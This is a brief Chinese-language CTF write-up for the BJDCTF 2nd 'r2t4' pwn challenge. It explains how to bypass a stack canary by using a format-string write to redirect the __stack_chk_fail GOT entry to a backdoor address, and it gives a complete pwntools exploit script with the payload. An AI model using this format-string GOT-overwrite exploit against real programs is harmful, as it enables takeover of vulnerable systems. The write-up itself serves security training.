[BJDCTF 2nd]r2t4 [格式化字符串写GOT]

在这里插入图片描述
在这里插入图片描述

开启了Canary,但Canary失败的处理逻辑会进入到stack_chk_failed函数,stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

在这里插入图片描述
exp

from pwn import *

context(log_level='debug')
proc_name = './r2t4'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29985)
elf = ELF(proc_name)
__stack_chk_fail = elf.got['__stack_chk_fail']
backdoor = 0x400626
# 0x40 0x0626
p.sendline(flat(['%64c%9$hn%1510c%10$hnAAA', p64(__stack_chk_fail + 2), p64(__stack_chk_fail)]))
print(p.recv())

在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章